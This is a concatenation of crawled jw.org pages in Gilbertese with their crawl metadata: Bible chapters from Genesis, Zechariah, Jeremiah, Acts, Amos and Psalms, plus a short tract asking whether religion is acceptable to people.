N na kamaeinikunia i Iakoba ao N na kamaenakoia i Iteraera.+ 8 \"Ni kaineti ngkanne ma ngkoe Iuta,+ a na kamoamoako tarim.+ E na mena baim i aon roroaia akana kairiribai nakoim.+ A na bobaraaki i matam natin tamam aika mwaane.+ 9 Bon te raian te teei Iuta.+ Natiu, ko na bon teirake mai aoni konam. E wene ao e aroria n ai aron te raian, antai ae kona ni kauta te raian? 10 E na aki nako okon te uea mairoun Iuta,+ ao e na aki nako naba okon te tia tautaeka mai marenani waena, ni karokoa rokon Tiro.*+ A riai n ongeaba irouna botannaomata.+ 11 E na rooa ana taongki ma te kai ae te kureebe ao bunin ana taongki ma te kai ae te kureebe ae rangi n raoiroi, e na kaitiaka oneana n te wain ao kunnikaina n ranin te kureebe. 12 A uraura matana n te wain ao a mainaina wina n rannimamman te man. 13 \"E na maeka Teburun+ i mataniwin te aba, i rarikin taari ike a rooroo iai kaibuke,+ ao e na kaineta Titon tian abana are mai ikekei.+ 14 \"Bon te taongki ae korakora Itakara+ ae e wene i marenani baeki aika uoua aika kabaeaki ni kaintokana. 15 Ao e na noria bwa e raoiroi te tabo ni motirawa ao e maiureirei te aba. E na anga angana bwa e na aonnanga te uota ae rawawata ao e na aantaeka i aan te tautoronaki. 16 \"E na motiki taekaia ana aomata Tan,+ ae teuana mai buakon aia baronga tibun Iteraera.+ 17 Ke e riki Tan bwa te naeta ae mena i rarikin te kawai, ae te naeta ae iai korona i rarikin te kawai, ae e tenaa bukini waen te aoti bwa e aonga ni kabwakaa te tia toka i aona.+ 18 N na taningaa te kakamaiu mairoum Iehova. 19 \"Ni kaineti ngkanne ma Kata,+ a na ninia teuaei taani kuribwai, ma e na kaeiia n ekiianako.+ 20 \"E na bati* ana amwarake* Atera,+ ao e na katauraoa te amwarake ae riai ibukin te uea.+ 21 \"Bon te ria aine Nabetari+ ae kakateke. E taekin taeka aika tamaroa.+ 22 \"Boni mwaangan te aroka ae bati uaana Ioteba,+ ae te aroka ae bati uaana ae mena i rarikin te koburake n ran, ae a rokoroko mwaangana riaon te oo. 23 Ma a teimatoa taani katebe ni bwainikirinna ma ni kakatebea ao a teimatoa ni kaikoa ribaakina.+ 24 Ma e ngae n anne e teimatoa ni nnena ana kainikatebe,+ ao a teimatoa ni korakora baina ma ni baiteke.+ E roko te tia kawakintiibu ao atibun Iteraera aei mairoun teuare mwaaka ae Atuan Iakoba. 25 E* roko teuaei mairoun Atuan tamam ao e na boni buokiko te Atua. E memena Ioteba iroun Teuare Moan te Mwaaka, ao e na kakabwaiako te Atua ni kakabwaia mai karawa i eta, ao ni kakabwaia mai kabi i nano,+ ao e na anganiko am kariki aika bati ao am nanai ni man aika bati. 26 E na rianako riki ana kakabwaia tamam nakoni baika raraoi ni maunga aika teimatoa n aki toki,+ ao nakon tamaroan tabuki aika teimaan. A na teimatoa kakabwaia aikai i aon atun Ioteba, i aon taubukin atun teuare tebenako mai buakoia tarina.+ 27 \"E na teimatoa n raebitia konana Beniamin+ n aron te kameaanti.+ E na kana konana n te ingabong, ao n te tairiki e na tibwai baika a kuribwaiaki n te buaka.\"+ 28 A nako aia baronga tibun Iteraera aika 12 mairouia naakai, ao aikai baike e taekin tamaia nakoia ngke e kakabwaiaia. E angania kakabwaiaaia n tatabemania nako ae kaineti raoi ma ngaiia.+ 29 Imwin anne ao e tua baikai nakoia: \"N nang ikotaki ma au koraki.*+ Kaiiai i rarikia tamau n te nangananga are n ana tawaana Ebiron are tibun Eta,+ 30 te nangananga are n te tawaana i Makebera are i moani Mamre n te aba ae Kanaan, te tawaana are e kabooa Aberaam mairoun Ebiron are tibun Eta, bwa abana ibukini nneni kawenean ana mate. 31 A kaiia ikekei Aberaam ma buuna are Tara.+ A kaiia naba ikekei Itaaka+ ma buuna are Rebeka, ao I kaiia naba iai Rea. 32 E kabooaki mairouia tibun Eta te tawaana ma te nangananga are iai.\"+ 33 Mangaia are ngke e a tia Iakoba n anga kaetieti aikai nakoia natina mwaane ao e wene i aon ana kainiwene ao e moti ikena, ao e a ikotaki ma ana koraki.*+\n^ Ke, \"moani korakorau ni kariki.\"\n^ Ke tao, \"arou.\"\n^ Ae nanona, \"Teuare Bon Ana Bwai te Bwai; Teuare Bwaibwai n te Bwai.\"\n^ Ebera, \"mwaete.\"\n^ Ke, \"kariki.\"\n^ Ae taekan Ioteba.\n^ Aio bon te taeka ni kario ibukin te mate.\n^ Aio bon te taeka ni kario ibukin te mate.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/karikani-bwaai\/49\/","date":"2018-01-23T15:57:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891980.75\/warc\/CC-MAIN-20180123151545-20180123171545-00427.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":947,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.424,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kateaki te Aro irouia aomata?\nA KAKOAUAA TABEMAN AOMATA bwa e boni kateaki te Aro irouia aomata, ao tabeman riki a iangoia bwa te Atua e kabongana te Aro ni buokiia iai aomata bwa a na kaan ma ngaia.\nTera am iango?\nAE TAEKINAKI N TE BAIBARA\nBon iai te \"Aro ae itiaki ae aki kamwaraeaki i matan Atuara ae Tamara.\" (Iakobo 1:27, te kabwarabwara mai nano) Boni mairoun te Atua te Aro ae itiaki ke ae e koaua.\nREIREIARA RIKI MAN TE BAIBARA\nE riai bwa ko na kaaina te Aro teuana?\nTERA AM KAEKA?\nEng\nTiaki\nE bon nakoim\nAE TAEKINAKI N TE BAIBARA\n\"Ti na iaiangoira i marenara bwa ti aonga ni kaungaira nakon te tangira ma mwakuri aika raraoi, ao ti na aki kaaki arora ni bobotaki.\" (Ebera 10:24, 25) E tangiria te Atua bwa a na ikotaki taan taromauria n te botaki ae baireaki raoi.\nREIREIARA RIKI MAN TE BAIBARA","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na4-2016-turai\/e-kateaki-te-aro-irouia-aomata\/","date":"2018-01-23T15:42:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891980.75\/warc\/CC-MAIN-20180123151545-20180123171545-00427.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":153,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.431,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n12 Te katanoata: \"E kangai ana taeka Iehova ni kaineti ma Iteraera,\" bon ana taeka Iehova,Are Teuare taakina karawa,+Ao e kawenea aan te aonnaba,+Ao e karaoa te maiu ae i nanon te aomata: 2 \"Ae I a karaoa Ierutarem bwa te mwangko* ae karangarangaia botannaomata nako aika i rarikina, ao e na otabwaniniaki Iuta n ikotaki ma Ierutarem.+ 3 N te bong anne ao N na karaoa Ierutarem bwa te atibu ae tinebu* nakoia botannaomata ni kabane. A na boni bane n ikoaki kakaiaki akana tabekia,+ ao a na bane n ikotaki natannaomatan te aonnaba n ekaanako neiei.+ 4 N te bong anne,\" bon ana taeka Iehova, \"N na oreiia aoti nako n te takaka ao taan toka i aoia n te rangirang. N na teimatoa ni katokai matau i aoia tibun Iuta, ma N na oreiia aia aoti nako botannaomata n te mataki. 5 Ao ane a na kangai aia mataniwi* tibun Iuta i nanoia, 'Boni korakorara kaain Ierutarem ae reke mairoun Atuaia ae Iehova ae Atuaia taanga ni buaka.'*+ 6 N te bong anne ao N na karaoiia aia mataniwi tibun Iuta bwa kaanga te bwaata ae ura i buakoni kaai, ao kaanga te oi ae ura n te rinan ni uita* ae e a tia ni koreaki,+ ao a na kabuekiia botannaomata nako akana i rarikina ake man te angaatai ao ake man te angamaing,+ ao a na maeka kaain Ierutarem n oin aia tabo i Ierutarem.+ 7 \"Ao Iehova e na kamaiui moa aia umwanrianna tibun Iuta, n te aro are e na aki rangi n riao riki karineaia* ana aomata Tawita ao karineaia* kaain Ierutarem, nakoni karineaia tibun Iuta. 8 N te bong anne ao e na riki Iehova bwa te bwai ni kamanomano ae otabwaninia kaain Ierutarem.+ N te bong anne ao ane e bwaka* mai buakoia e na riki ni korakora n aron Tawita, ao a na korakora ana aomata Tawita n aron te Atua, n aron ana anera Iehova are e kairiia aomata.+ 9 Ao n te bong anne ao N na boni kamaunaia natannaomata ni kabane ake a roko n ekaanako Ierutarem.+ 10 \"N na kabwaroa nako aoia ana aomata Tawita ao nako aoia kaain Ierutarem te taamnei ae karekea te akoaki ao te kakorakora n tataro ni bubutii, ao a na taraa teuare a ewaria,+ ao a na tanginiwenei ibukina n aron ae a tanginiwenei ibukin te nati te mwaane ae te rikitemanna. Ao e na korakora nanokawakia ibukina n aroia n nanokawaki ibukin te nati te mwaane ae te karimoa. 11 N te bong anne ao e na korakora te tanginiwenei i Ierutarem, n aron te tanginiwenei i Ataterimmon n te Tabo ae Aoraoi ae Mekito.+ 12 Ao e na tanginiwenei te aba anne, te utu teuana ma teuana i bon irouia, te utu are ni batan Tawita i bon irouia, ao aia aine i bon irouia, te utu are ni batan Natan+ i bon irouia, ao aia aine i bon irouia, 13 te utu are ni batan Rewi+ i bon irouia, ao aia aine i bon irouia, aia utu tibun Timei+ i bon irouia, ao aia aine i bon irouia, 14 ao nikiraia naba utu ni kabane ake a tiku, te utu teuana ma teuana i bon irouia, ao aia aine i bon irouia.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/tekaria\/12\/","date":"2018-01-21T17:42:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890795.64\/warc\/CC-MAIN-20180121155718-20180121175718-00663.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":566,"character_repetition_ratio":0.101,"word_repetition_ratio":0.018,"special_characters_ratio":0.237,"stopwords_ratio":0.452,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n24 Ao e kaotii nakoiu Iehova bwaene ni biiku aika uakora aika kaakaki i matan ana tembora Iehova, ngke e tia Nebukaneta* are Ueani Baburon ni kairiianako bwa taenikai Iekonia*+ are natin Ieoiakim+ are uean Iuta, n ikotaki ma tokan Iuta, taani karaobwai aika mwaatai, ao taani mwakuria te biti.* E kairiia mai Ierutarem nako Baburon.+ 2 Iai biiku aika rangi n raoiroi n te bwaene are tekorana, n aroni biiku aika taiani moan uaa, ma a mena biiku aika rangi ni buakaka n te bwaene are tekorana, aika rangi ni buakaka n te aro are a aikoa kona ni kanaki. 3 E titirakinai ngkanne Iehova ni kangai: \"Tera ae ko noria Ieremia?\" Ngaia are I taku: \"Taiani biiku. A rangi n raoiroi biiku ake a raoiroi, ma a rangi ni buakaka biiku ake a buakaka. A rangi ni buakaka n te aro are a aikoa kona ni kanaki.\"+ 4 Ao e roko ana taeka Iehova irou, ae kangai: 5 \"E kangai ana taeka Iehova ae Atuan Iteraera, 'N aroni biiku aika raoiroi aikai ao ai arou naba bwa N na iangoa ae raoiroi ibukia kaain Iuta ake a taenikai, ake I kanakoia man te tabo aei nako abaia I-Kareria. 6 N na teimatoa ni katokai matau i aoia bwa N na karaoa ae raoiroi nakoia, ao N na kaokiia nakon te aba aei.+ N na kateiia ao N na aki kabwakaia, N na unikiia ao N na aki taeki wakaaia.+ 7 Ao N na angania te nano bwa a na ataai ae boni ngai Iehova.+ A na riki bwa au aomata, ao N na riki bwa Atuaia,+ bwa a na oki nakoiu ma nanoia ni kabane.+ 8 \"'Ma e kangai ana taeka Iehova ni kaineti ma biiku ake a buakaka, ake a rangi ni buakaka n te aro are a aikoa kona ni kanaki:+ \"Anne naba arou n iaiangoa Tetekia+ are Uean Iuta, ma ana toka, ao nikiraia kaain Ierutarem ake a tiku n te aba aei, ao te koraki ake a maeka n te aba ae Aikubita.+ 9 N na karaoiia bwa te bwai ni kakamaaku ao te kabuanibwai nakoia tautaeka n uea ni kabane n te aonnaba,+ ao te bwai ni kabuakakaaki, mwanewen te taeka ni kario, te bwai ni bwainingareaki, ao te katoto ibukia akana karekeaki kaia+ n taabo nako ake I kamaenakoia nako iai.+ 10 Ao N na kanakoa nakoia te kabaang,+ te rongo, ao te aoraki ae kamamate,+ ni karokoa ae a maunanako man te aba are I anga nakoia ao nakoia aia bakatibu.\"'\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/ieremia\/24\/","date":"2018-01-18T08:34:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887077.23\/warc\/CC-MAIN-20180118071706-20180118091706-00489.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":444,"character_repetition_ratio":0.071,"word_repetition_ratio":0.025,"special_characters_ratio":0.243,"stopwords_ratio":0.468,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n24 Nimabong imwina ao e a wairio te ibonga ae rietata* ae Anania+ ma unimwaane tabeman ao te tia taetae ibukia aomata* ae Tereturo, ao a a taekina bukinani Bauro nakon te kowana.+ 2 Ngke e a weteaki ao Tereturo e a taekina bukinani Bauro ni kangai: \"Kioina ngkai e a tia n reke iroura te rau ae korakora mairoum ao a karaoaki naba bitaki ibukin te natannaomata aei man rabakaum ni babaire, 3 ngkoe ae Berika ae Ko Karineaki, ao ti butimwaei baikai n taai nako ao n taabo nako ma te kakaitau ae rangi ni bati. 4 Ma N na aki kabanebuakaa am tai ma I butiiko bwa ko na ongora teutana iroura n am atataiaomata. 5 Bwa ti kunea teuaei bwa te tia karekea te kangaanga+ ao e kakauekea ekakinakoan te tautaeka+ i buakoia I-Iutaia ni kabane ni kabutaa te aonnaba. Boni ngaia te mataniwi n te koraki n Aro ae a aranaki bwa I-Natareta.+ 6 E kataia naba ni kamwaraea te tembora, ai ngaia ae ti a taua.+ 7 *—— 8 Ngkana ko nenera teuaei, ao ko na kunei taekani bwaai ni kabane aika ti bukinna iai aikai.\" 9 Ao a buoka naba te bukibuki aei I-Iutaia, ni kakoauai baika taekinaki aikai. 10 Ao e kaeka ni kangai Bauro ngke e katoua atuna te kowana nakoina bwa e na taetae: \"I ataia raoi bwa ko a tia ni momotikitaeka i buakon te natannaomata aei i nanon ririki aika bati, ngaia ae I a tauraoi ni kaekai bukinau.+ 11 I ataia naba bwa ko kona n nenera te baei ibukiu, bwa ai bon tibwa 12 te bong n nako imwini waerakeu n taromauri i Ierutarem.+ 12 Ao a aki kuneai ni kauntaeka ma aomata n te tembora ke ni kaungaia te koraki ae bati bwa a na kakiriwe n taian tinakoka* ke i nanon te kaawa. 13 A aki kona naba ni kaota nakoim koauani baika a bukinai iai ngkai. 14 Ma I kaotia nakoim bwa I maiuakina te aro n taromauri are a aranna bwa te koraki n Aro teuana, are I taromauria Atuaia au bakatibu+ iai, ngkai I kakoauai bwaai ni kabane aika taekinaki n te Tua ma ni koreaki irouia Burabeti.+ 15 Ao iai ae I kantaningaia mairoun te Atua, ae a kantaningaia naba te koraki aei, ae a na boni mangauti+ akana raoiroi ma akana aki raoiroi.+ 16 Ibukin anne ao I kekeiaki ni kateimatoa n taai nako itiakini mataniwin nanou i matan te Atua ao aomata.+ 17 Ao imwin ririki aika bati ao I a roko n uotii bwaai n tituaraoi+ nakon au natannaomata, ma taiani karea nakon te Atua. 18 Ao a norai n te tembora+ ngke I tabe ni baikai ao I a tia ni kaitiakaki n aron ae katauaki n te tua, ao bon akea te koraki ae bati irou ke te kiriwe. Ma iai te koraki n I-Iutaia man te aono n Atia,* 19 ake a riai n tei ikai ni bukinai ngkana iai bukinau irouia.+ 20 Ao ke a taekinna mwaane aika mena ikai, bwa tera te kairua ae a kunea irou ngke I tei n te Tanirim,* 21 irarikin au taeka are I takaruaia ngke I tei i buakoia ae kangai: 'E motikaki taekau n te bong aei i matami ibukini mangautiia maate!'\"+ 22 Ma e ataa raoi Berika taekani kawain* te Uea,+ ai ngaia are e a taona moa karaoan te moti ao e taku: \"N na bairei taekani baike kam irekereke iai ngkana e roko te mataniwi n te taanga ni buaka ae Rutia.\" 23 Ao e tua nakon te mataniwi n tautia bwa e na karabuutinaki Bauro, ma n anganaki inaomatana teutana, ao a na kariaiakaki raoraona n tabeakini kainnanona. 24 Tabebong imwina ao e roko Berika ma buuna ae Rutira ae te I-Iutaia, ao e kanaanako weteani Bauro ao e ongora irouna n taekan onimakinani Kristo Iesu.+ 25 Ma ngke e taekina taekani bwainakin te eti ma te taubaang ao te motikitaeka ae e na roko,+ ao e a maaku Berika ao e taku: \"Ko na nako moa ngkai, ma ngkana e reke au tai ao N na manga weteiko.\" 26 N te tai naba anne ao e kantaningaia Berika bwa e na anganaki te mwane ni kamaraato irouni Bauro. Ai ngaia are e a katataa kawaekoaani Bauro bwa e na maroro ma ngaia. 27 Ma ngke e a bane uoua te ririki, ao e a oneaki mwini Berika irouni Borekio Beteto, ma ibukina bwa e kani karekea tangirana Berika irouia I-Iutaia,+ ao e a katuka Bauro n te karabuuti.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/mwakuri\/24\/","date":"2018-01-19T03:56:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887729.45\/warc\/CC-MAIN-20180119030106-20180119050106-00203.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":763,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n8 Aio te bwai ae e kaotia nakoiu te Uea ae Moan te Rietata ae Iehova n te miitara: Noria! Iai te bwaene ae kanoana te uaanikai ae reke n tain te kabuebue. 2 Ao e taku, \"Tera ae ko noria Amota?\" I kaeka ni kangai, \"Te bwaene ae kanoana te uaanikai ae reke n tain te kabuebue.\" E taku ngkanne Iehova nakoiu: \"A a roko n tokia au aomata aika tibun Iteraera. N nang aki manga kabwarai aia bure.+ 3 'A na bitaki anenen te tembora nakon te tanginiwenei n te bong anne,'+ bon ana taeka te Uea ae Moan te Rietata ae Iehova. 'A na bati rabwataia maate aika a na karenakoaki n taabo nako.+ Tai karongoa!' 4 Ongora n aei, ngkami aika kam toubekaiia akana maiu ni kainnano,Ao ngkami aika kam karokoia n tokia akana nimamannei aika n te aba,+ 5 Ao ngkami aika kam kangai, 'E na toki n ningai te toa ibukin te oti n namwakaina,+ bwa ti aonga ni kaboonakoi ara uita,*Ao te bongi n Taabati+ bwa ti aonga n anga te uita bwa a na kabooaki? N te aro anne ao ti a kona ni kauarerekea riki te bwai ni baire ae te eba*Ao ni katinebua riki te bwai n tau rawawata ae te tiekera,*Ni kaburei ara kainikatine aika mwamwanaa te aba,+ 6 Bwa ti aonga ni kabooia akana kainnano n te tirewa,Ao akana maiu ni kainnano ni kaau aika uoua,+Ao ni kaboonakoa te uita ae akea manenana.' 7 E a tia Iehova are ana bwai ni kamoamoa Iakoba+ n taetae n tuea i bon irouna ni kangai,'I aki kona ni mwaninga aia mwakuri ni kabane.+ 8 Ibukin aei ao e na mwaeiei te aba,*Ao a na nanokawaki kaaina ake iai ni kabane.+ Tiaki e na bane n iabutirake n aron te Naire,Ao e na raanga ao n ikinako n aron te Naire are i Aikubita?'+ 9 'N te bong anne,' bon ana taeka te Uea ae Moan te Rietata ae Iehova,'N na kabunga taai n te tawanou,Ao N na karooa te aba n te ngaina ae oota.+ 10 N na bitii ami toa nakon te nanokawaki+Ao ami anene ni kabane nakoni kuuna aika kananokawaki.* N na kaaki te raerobwa* i aoni bebee ni kabane ao a na imanaki atu ni kabane,N na karaoia bwa kaanga te nanokawaki ibukin te nati te mwaane ae te rikitemanna,Ao tokina kaanga ai aron te bong ni karawawata.' 11 'Noria! A a roko boong,' bon ana taeka te Uea ae Moan te Rietata ae Iehova,'Ike N na kanakoa iai te rongo nako aon te aba,Ae tiaki te rongo n te amwarake ke te taka n te ran,Ma te rongo ni kan ongo ana taeka Iehova.+ 12 A na turatura man taari teuana nakon taari teuana,Ao mai meang nako mainiku.* A na tiotionako n ukoukora ana taeka Iehova, ma e na aki reke irouia. 13 N te bong anne, ao a na tong ataeinnaine aika baaraoi aika tuai ni boo ma mwaane,Ao rorobuaka n ataei naba, ibukin te bora n taka. 14 Te koraki ake a taetae n tuea n ana bure Tamaria,+ ao ake a kangai,\"Ngkai e boni maiu atuam, ngkoe ae Tan!\"+ Ao \"Ngkai e boni maiu kawaini Beerateba!\"+ A na bwaka, ao a na aki manga teirake.'\"+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/amota\/8\/","date":"2018-01-19T02:24:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887692.13\/warc\/CC-MAIN-20180119010338-20180119030338-00353.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":562,"character_repetition_ratio":0.063,"word_repetition_ratio":0.031,"special_characters_ratio":0.249,"stopwords_ratio":0.463,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\nAna anene Tawita ae kananokawaki,* are e aneneia nakon Iehova ni kaineti ma ana taeka Kuti are tibuni Beniamin. 7 Ngkoe ae Iehova ae Atuau, I boni kamanoai iroum.+ Kainaomataai mairouia te koraki nako aika bwainikirinai ao kamaiuai.+ 2 Bwa a kaawa n raebitiai n ai aron ae e karaoia te raian,+N uotainako ao akea te tia kamaiuai. 3 Ngkoe ae Iehova ae Atuau, ngkana I kairua n aei,Ao ngkana I karaoa ae ribuaka, 4 Ngkana I a tia ni bure nakon te aomata ae karaoa ae raoiroi nakoiu,+Ke ngkana I a tia ni kuribwaia ane e kairiribai nakoiu n akea bukina,* 5 Ao ke e kaeai te tia kairiribai ma n ooai,Ke e toutoua maiuu i aontanoAo ni kamauna karineau n te tano. (Tiera) 6 Ko na teirake n unim ngkoe ae Iehova,Ko na tei ni kaaitarai unia taani kairiribai nakoiu,+Ko na uti ibukiu, ao ko na tua bwa e na karaoaki te kaetitaeka ae riai.+ 7 Ke a otabwaniniko natannaomata,Ao ko na waaki n ekiianako man te tabo ae rietata. 8 E na motiki taekaia botannaomata Iehova.+ Motika taekau Iehova ni kaineti ma raoiroiuAo ni kaineti ma etin arou.+ 9 Taiaoka katoka aia mwakuri aika bubuaka aomata aika buakaka. Ma kateimatoaia aomata aika raoiroi,+Kioina ngkai bon te Atua ae raoiroi ngkoe,+ ae ko tutuoi naano+ ao taian namakin aika rangi n raba.*+ 10 Bon au otanga te Atua,+ aia tia Kamaiu te koraki aika eti nanoia.+ 11 Bon te tia Motikitaeka ae raoiroi te Atua,+Ao te Atua e tataekin ana motikitaeka* ni katoabong. 12 Ngkana iai ae e aki raira nanona,+ ao E taima ana kabaang,+Ao e kabwaoua ana kainikatebe ma ni katauraoia.+ 13 E katauraoi ana bwai ni buaka aika kamamate,Ao e katauraoi kanoan ana kainikatebe aika ura.+ 14 Nora te aomata ae taorakea te buakaka,Ao e bikoukoua te kangaanga ao e bungia te kewe.+ 15 E ekea te mwarua ao e kenna ni kananoa,Ma e a manga boni bwaka n te mwanono are e karaoia.+ 16 E na oki nako aon atuna te kangaanga are e boni karikia,+E na bwakaraki aon taubukin atuna n ana iowawa. 17 N na karaoiroa Iehova ibukin ana kaetitaeka ae riai,+N na anene n neboa* aran Iehova+ are Teuare Moan te Rietata.+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/taian-areru\/7\/","date":"2018-01-18T04:51:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887065.16\/warc\/CC-MAIN-20180118032119-20180118052119-00159.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":388,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.436,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n2 \"E kangai ana taeka Iehova,'\"Ibukin ana karitei* Moaba aika tenua,+ ao ibukin aua, N na aki rairaanako karekeani kaina,Ibukina bwa e kabueki riin uean Etom bwa te raim. 2 Mangaia ae N na kanakoa te ai nako nanoni Moaba, ao e na kabueki tauani Keriota+ aika nonoaki. A na mate I-Moaba i buakon te kiriwe,Ma te takakaa ni buaka, ma tangin te buu ae te koro.+ 3 N na kamwawaa te tia tautaeka* mai nanon neienne,Ao ni kamateia tokan neienne ni kabane n ikotaki naba ma teuanne,\"+ bon ana taeka Iehova.' 4 E kangai ana taeka Iehova,'Ibukin ana karitei Iuta aika tenua,+ ao ibukin aua, N na aki rairaanako karekeani kaina,Ibukina bwa a kaaki taekan ana tua* Iehova,Ao ibukina bwa a aki kawakin ana kaetieti,+Ma a rairakinako ni keewe ake a kakairi naba iai aia bakatibu.+ 5 Mangaia ae N na kanakoa te ai nako nanon Iuta,Ao e na kabueki tauan Ierutarem aika nonoaki.'+ 6 E kangai ana taeka Iehova,'Ibukin ana karitei Iteraera aika tenua,+ ao ibukin aua, N na aki rairaanako karekeani kaina,Ibukina bwa a kaboonakoia akana raoiroi n te tirewa,Ao akana maiu ni kainnano ni kaau aika uoua.+ 7 A toubekai atuia aomata aika mangori nako aontano,+Ao a tuki kawaia akana nimamannei.+ A wene n taanga ma te aine ae tii temanna, te mwaane ao tamana,Ni kamatauningaa arau ae tabu. 8 A aroriia i rarikini baonikarea nako+ i aoni kunnikai ake a taui bwa bwaai ni kaboomwi ibukin te bwai ae tangoaki.+ Ao te wain are a moi iai n aia auti* atuaia e reke mairouia te koraki ake a katuuaaeia.' 9 'Ma boni ngai ae I kamatea te Amoraite imwaia+Ae abwabwaki n ai aroni kaai aika tiira, ao ni korakora n ai aron aroka aika oke,Ao I kamauna uaana i eta ao wakaana i nano.+ 10 I kairingkami ni kaotinakoingkami man te aba are Aikubita,+Ao I kanakonakoingkami rinanon te rereua i nanon 40 te ririki,+Bwa kam na abana aban te Amoraite. 11 I kateirakeia tabeman mai buakoia natimi mwaane bwa burabeti,+Ao tabeman mai buakoia ami rorobuaka n ataei bwa Natiraite.+ Tiaki ngaia anne, ngkami aika tibun Iteraera?' bon ana taeka Iehova. 12 'Ma kam teimatoa n angania Natiraite te wain bwa nimaia,+Ao kam tua ae kangai nakoia burabeti: \"Kam na tai taetae ni burabeti.\"+ 13 Mangaia ae N na kamanatuaingkami n ami tabo,N aron te kaa ae on ni uita* aika koreaki ae kamanatuaa te bwai are i aana. 14 Akea te tabo ae e na birinako nako iai ane e birimwaaka,+Ao e na aki kateimatoa mwaakana ane e korakora,Ao akea te tia buaka ae e na birinako n rawea maiuna.* 15 E na aki teimatoa n tei ni nnena te tia katebe,Ao e na aki birinako ane e birimwaaka waena,Ao e na aki birinako n rawea maiuna* te tia toka i aon te aoti. 16 E na birinako naba n aki 